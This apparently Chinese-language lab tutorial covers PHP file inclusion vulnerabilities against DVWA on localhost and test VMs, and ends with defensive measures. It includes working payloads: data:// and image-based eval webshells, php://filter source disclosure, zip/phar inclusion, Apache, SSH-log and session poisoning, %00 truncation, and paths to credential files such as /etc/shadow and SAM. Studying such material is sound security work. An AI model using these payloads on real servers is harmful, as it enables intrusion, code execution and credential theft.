0x01 什么是文件包含漏洞
文件包含漏洞是一种常见的web类型漏洞,因为很多脚本语言支持使用文件包含,也就是我们所说的文件包含函数,网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件,前提条件就是我们需要有可读的权限才能读取这些文件 ,所以这样就会导致文件包含漏洞
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
什么叫包含呢?
以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
0x02危害
1、配合文件上传漏洞GetShell
2、可以执行任意脚本代码(php://input) (即使有文件上传也能执行脚本代码)
3、网站源码文件以及配置文件泄露(php://filte/read=convert.base64-encode/resource=bihuo.php)
4、远程包含GetShell
5、控制整个网站甚至是服务器
0x03 漏洞成因
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()
区别如下:
require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
0x04 文件包含漏洞的环境要求
allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件
0x05 文件包含漏洞分类
其文件包含漏洞共分为两大类,本地文件包含和远程文件包含,但是如果想要实现远程文件包含,需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。本地文件包含的含义就是包含本地服务器的文件
只能够对服务器本地的文件进行包含。本地文件包含漏洞所包含的各类情况如下:
可以包含本地文件,在条件允许时可执行代码
执行上传的图片马,生成webshell。
读取敏感文件,如系统配置文件以及PHP文件等。
包含data:或php://input等伪协议
若有phpinfo则可以包含临时文件
包含日志文件GetShell
包含/proc/self/envion文件GetShell
远程文件包含(RFI)
当php.ini中allow_url_fopen和allow_url_include为On时,文件包含函数是可以加载远程文件的,这类漏洞被称为远程文件包含漏洞。
0x06 基础文件包含漏洞
利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析
将phpinfo.php文件后缀改为txt后进行访问,依然可以解析
将phpinfo.php文件后缀改为jpg格式,也可以解析
可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。
但是我们一般不通过php文件上传因为
从靶场服务器访问攻击者的服务器的php文件,只能获取到php执行后的返回结果,而不能获取到php文件源码
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=../../../../Mysql/my.ini
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=D://phpStudy/Mysql/my.ini
一些常见的敏感目录信息路径
Windows系统:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
Linux/Unix系统:
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
0x07 伪协议应用
PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数
file://协议
这个伪协议不受allow_url与allow_url_include的影响
注意:file://协议后面需要跟着绝对路径
file:// [文件的绝对路径和文件名]
payload
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file://d://phpStudy/www/DVWA-MASTER/index.php
data协议
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:
原文链接:https://blog.csdn.net/m0_46467017/article/details/126380415(data:text/plain)
(伪协议需要allow_url_fopen allow_url_include为on)
payload
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=data:text/plain,<?php file_put_contents('1.php','<?php @eval($_REQUEST[1]); ?>') ?>
因为蚁剑一直连不上,想到可能是受到一些限制,所以我们改为写一个新文件,当这个文件运行的时候就会创建一个新文件,我们用蚁剑去连接新创建的文件
php伪协议
1. php://stdin:代表标准输入流。您可以使用它来读取从控制台输入的数据。
2. php://stdout:代表标准输出流。您可以使用它来将数据输出到控制台。
3. php://stderr:代表标准错误输出流。您可以使用它来输出错误消息到控制台。
4. php://input:用于获取通过HTTP POST请求发送的数据。可以用来接收HTTP请求正文的数据。
5. php://output:用于将数据输出到HTTP响应正文。可以用来发送HTTP响应内容。
6. php://memory:代表内存中的流。您可以使用它来创建一个内存缓冲区,将数据写入其中。
7. php://temp:类似于php://memory,代表内存中的流。通常用于存储临时数据。
8. php://fd:用于访问文件描述符(File Descriptor)。可以打开并操作文件。
9. php://filter:用于过滤数据。您可以使用它来应用各种过滤器和转换器来处理数据。
10. php://glob:用于获取与通配符匹配的文件列表。
这些伪协议可用于处理文件、输入/输出、网络通信以及数据转换等各种任务。它们是PHP的内置功能,提供了灵活性和便捷性,用于访问和操作不同类型的资源。
经常使用的是php://filter和php://input
php://filter用于读取源码。
php://input用于执行php代码。
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
(伪协议计本都需要allow_url_fopen allow_url_include为on)
php://input协议
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
需要开启allow_url_include=on,对allow_url_fopen不做要求
如果没有hackbar也可以直接写入php文件,输入file=php://input
,然后使用burp抓包,在请求主体写入php代码
php://filter协议
关联阅读
[谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)](https://www.leavesongs.com/PENETRATION/php-filter-magic.html)
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
?file=php://input 数据利用POST传过去。 相对路径
只是读取,所以只需要开启allow_url_fopen,对allow_url_include不做要求
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../../index.php //能出来但是报错
zip://协议
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23
需要PHP 的版本> =5.3.0,#可以自己变成%23
只需要是zip的压缩包即可,后缀名可以任意更改,除了rar
相同的类型还有zlib://和bzip2://
?file=zip://[压缩文件路径]#[压缩文件内的子文件名] 需要绝对路径
如果内部为php则会报错,内部文件需为txt,还需要安装apt-get install -y php-zip
,外部需要为使用zip压缩的
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=zip://D:/phpStudy/WWW/DVWA-master/hackable/uploads/shell.zip%23shell.txt
phar://协议
类似于zip://,但用法不同,zip://伪协议中是用#把压缩文件路径和压缩文件的子文件名隔开,而phar://伪协议中是用/把压缩文件路径和压缩文件的子文件名隔开,
即?file=phar://[压缩文件路径]/[压缩文件内的子文件名] 注意:PHP >=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
payload
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=phar://../../hackable/uploads/shell.png/shell.php
0x08 本地文件包含漏洞利用
配合文件上传使用
有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。
以DVWA平台为例,将Security Level选择low,编辑一个图片马,内容如下:
<?php
fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>);
?>
找到上传点进行上传
获取文件保存的完整路径
最后利用文件包含读取文件
常见代码
一
二
三 %00截断
四 利用路径长度
利用?截断
包含上传的图片马
包含apache日志文件
有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。
利用条件
对日志文件可读
知道日志文件存储目录
注意点
一般日志储存目录会被修改,需要读取服务器配置文件(httpd.conf,nainx.conf)或者根据phpinfo();中的消息来得知
日志记录中的信息都可以被调整,比如记录的报错等级,或者内容格式
如果我们访问一个不存在的资源,也一样会进行记录,例如访问
http://127.0.0.1<?php phpinfo();?>
查看日志被记录下来
需要去http.conf
--> 开启 CustomLog "logs/access.log" combined
用来开启apache的日志
之后我们在网站随意的地方输入php代码,前面需要有?来区分get传参和路径,下一步需要使用bp进行抓包,因为浏览器会给我们的php代码进行自动编码
之后进入含有文件包含的地方,进行包含Apache日志文件来执行php代码
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=D:/phpStudy/Apache/logs/access.log
包含session文件
利用条件:
找到Session内的可控变量
Session文件可读写,并且知道存储路径
php的session文件的保存路径可以在phpinfo的session.save_path看到。
session常见存储路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。
首先需要写一段这个代码,放在网站的任意路径
<?php
session_start();
$test = $_GET['test'];
$_SESSION['username'] = $test; //注意SESSION大写
?>
下一步,找到自己写的文件进行传值
http://127.0.0.1/session.php?test=<?php phpinfo(); ?> //代码会修改你的session文件,可以写入代码
下一步,进行文件包含session文件
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=D:\phpStudy\tmp\tmp\sess_26e09dp2k37g7r4vi8ihmlad67
session id 需要去cookie中去查看
包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。
包含ssh日志文件拿shell
ssh '<?php phpinfo(); ?>'@192.168.48.129 //linux系统连接虚拟机的命令
ssh "<?php phpinfo(); ?>"@192.168.1.244 //windows系统连接虚拟机的命令
首先,在命令行使用咱们创造的ssh命令连接虚拟机
查看日志
需要把log文件夹的权限升级为604
,意思就是起码普通用户有读取的权限
kail的ssh的日志文件成功连接的的日志文件在/var/log/wtmp
连接失败的日志文件在/var/log/btmp
使用kali如果报这个错误
Warning: include(): open_basedir restriction in effect. File(/var/log/btmp) is not within the allowed path(s): (/www/admin/localhost_80/wwwroot/:/tmp/:/proc/) in /www/admin/localhost_80/wwwroot/DVWA-master/vulnerabilities/fi/index.php on line 36
Warning: include(/var/log/btmp): failed to open stream: Operation not permitted in /www/admin/localhost_80/wwwroot/DVWA-master/vulnerabilities/fi/index.php on line 36
Warning: include(): Failed opening '/var/log/btmp' for inclusion (include_path='.:/usr/local/phpstudy/soft/php/php-5.5.38/lib/php') in /www/admin/localhost_80/wwwroot/DVWA-master/vulnerabilities/fi/index.php on line 36
则需要按照如下操作
这个错误是因为 PHP 的 open_basedir 限制导致的。open_basedir 是一种 PHP 安全机制,它用于限制 PHP 脚本可以访问的目录。在你的错误消息中,它指示文件 /var/log/btmp 不在允许的路径内。
错误消息的各部分解释如下:
Warning: include(): open_basedir restriction in effect. - 这是一个 PHP 警告,它告诉你 open_basedir 限制正在生效。
File(/var/log/btmp) is not within the allowed path(s): (/www/admin/localhost_80/wwwroot/:/tmp/:/proc/) - 这一部分指出了受限制的文件路径 /var/log/btmp 不在允许的路径列表内,允许的路径包括 /www/admin/localhost_80/wwwroot/、/tmp/ 和 /proc/。
in /www/admin/localhost_80/wwwroot/DVWA-master/vulnerabilities/fi/index.php on line 36 - 这是错误发生的文件和行号。
Warning: include(/var/log/btmp): failed to open stream: Operation not permitted - 这一部分是指 include 函数尝试打开 /var/log/btmp 时失败,因为该操作未被许可。
Warning: include(): Failed opening '/var/log/btmp' for inclusion (include_path='.:/usr/local/phpstudy/soft/php/php-5.5.38/lib/php') - 这是指 include 函数尝试包含 /var/log/btmp 文件时失败。
要解决这个问题,你可以考虑以下几种方法:
修改 open_basedir 设置:你可以修改 PHP 配置中的 open_basedir 设置,以包括 /var/log/btmp 目录,如果安全性允许的话。这需要在 PHP 配置文件(如 php.ini)中进行更改。不过,这需要谨慎处理,确保不引入安全风险。
更改代码:如果可能的话,你也可以更改代码,使其不再尝试包含 /var/log/btmp 文件。
最后还是在centos7中完成实验(因为kali的报错整了一上午没整明白)
使用文件包含,包含整个ssh日志文件
http://192.168.1.244/dvwa/vulnerabilities/fi/?page=/var/log/secure //如果上传错了则需要删除日志文件内全部内容并重启centos,所以输入慎重
0x09 漏洞挖掘
没有通用的挖掘办法(Google搜索include..file=...)
特定的CMS,特定的版本可能存在漏洞(include, require)
Web漏洞扫描器扫描,常见的web漏洞扫描器都支持可以检测。手工挖掘,看参数, filename=xxx,是否可以包含其他文件
0x10 练习
一
后端代码
<?php
show_source(__FILE__);
include('flag.php');
$a = $_GET["a"];
if (isset($a) && ((file_get_contents($a, 'r')) === 'l want flag')) {
echo "success\n";
echo $flag;
}
同文件夹下有一个flag.php
flag{1231231231235sdfadsf}
当我们给a
使用get传参时,传的参数等于l want flag
则会判断成功,输出$flag;
一共有三种方法,需要注意php://input需要使用post传参,data格式可以使用base64编码格式,第三种方法不可以使用linux
二
三
四
<?php
show_source(__FILE__);
$path = @$_GET['path'];
//过滤../、..\,替换为空
$path = str_replace(array('../','..\\'),'', $path);
@include './'.$path;
?>
如果开启了opendir
,蚁剑,哥斯拉都可以进行遍历读取网站所在的盘符(例如网站在D盘,则只能把D盘遍历出来,别的盘不会),如果想切换到别的盘符,则需要使用dos命令
0x10 绕过
本地绕过
%00截断绕过:
原理:
验证源码:
<?php
if(isset($_GET['page'])){ //判断通过GET方式有没有获取到这个文件;
include$_GET['page'].".php"; //通过page传递这个文件的名字,不包括文件后缀名;如果传递一个test,代码拼接.php,如果当前目录下存在test.php,就包含test.php;
}else{
include'home.php'; //否则就包含home.php
}
?>
校验过程:判断是否获取到这个文件-->通过GET方式传递一个文件名,并在文件名后面拼接.php后缀-->如果当前目录下有这个文件,就包含这个文件-->否则就包含home.php
注:
在低版本中php读取文件名时认为%00是终止符,对于%00后面的内容就会失效。
通过上面源码我们知道,通过GET方式传递的这个文件名是我们可以进行控制的,在这里我们可以通过%00截断后面拼接的内容,让后面拼接的内容失效。
实验步骤:
1、制作一个图片马放到test_include目录下,这里的内容不是一句话木马,是phpinfo();代码:内容 <?php phpinfo();?>
2、对1.png进行包含,报错没有这个文件:
3、包含1.png,使用burpsuite对这个文件进行抓包:
4、在1.png后面加上%00,进行00截断,可以看出,成功解析图片马:
点号绕过
其他绕过
远程绕过
PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
0x11 文件包含漏洞防护
1、使用str_replace等方法过滤掉危险字符(., /, \)
2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)
3、php版本升级,禁止0字节(\0),防止%00截断
4、对上传的文件进行重命名,防止被读取
5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化
Views: 3